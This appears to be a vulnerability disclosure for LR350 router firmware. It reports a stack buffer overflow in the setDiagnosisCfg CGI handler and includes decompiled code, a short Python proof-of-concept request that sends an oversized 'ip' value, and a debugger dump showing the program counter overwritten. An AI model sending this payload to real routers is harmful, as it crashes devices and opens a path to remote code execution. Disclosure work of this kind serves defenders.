LR350 - bof - setDiagnosisCfg

Hi, we found a post-authentication stack buffer overflow at LR350 (Firmware version V9.3.5u.6369_B20220309), and contact you at the first time.

```
1 int fastcall sub 41F2DC(int a1)
2 {
   const char *v2; // $s1
4 int v3; // $v0
5 int v4; // $s0
   char v6[128]; // [sp+18h] [-80h] BYREF
8 memset(v6, 0, sizeof(v6));
9 v2 = (const char *)websGetVar(a1, "ip", "www.baidu.com");
10 v3 = websGetVar(a1, "num", &byte_431160);
11  v4 = atoi(v3);
12 if ( !Validity_check(v2) )
13 {
      sprintf(v6, "ping %s -w %d &>/var/log/pingCheck", v2, v4);
14
15
    doSystem(v6);
16 }
17 setResponse(&word 42F724, "reserv");
18 return 1;
19 }
```

In function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi, the size of ip is not checked, one can send a very long string to overflow the stack buffer via sprintf.

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setDiagnosisCfg", "ip" :
"a"*0x100} response = requests.post(url, cookies=cookie, json=data)
print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.

```
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
   0x1
V1 0x1
A0 0x1
A1 0x1
A2
   0x1
АЗ
   0x0
   0x70fed998 ← 0x6c5f5f00
0x76fe8738 ← nop
ΤO
T1
T2 0xa29
T3 0xffffffff
T4
   0xf0000000
T5
T6 0x3a22656d ('me":')
T7 0x431668 (setResponsex396) ← move $v0, $zero
T8 0x39
    0x770870b8 ← lui $gp, 2
T9
S0 0x61616161 ('aaaa') S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
0x44b000 (set_handle_t) 		 'setLanguageCfg'
S4
   0x9f5008 ← 0x6f74227b ('{"to')
S5
   <u>0x9f5138</u> ← 0x0
S6
S7
                 $ra
   0x770318b4 ← jr $ra
S8
PC 0x61616161 ('aaaa')
▶ f 0 61616161
```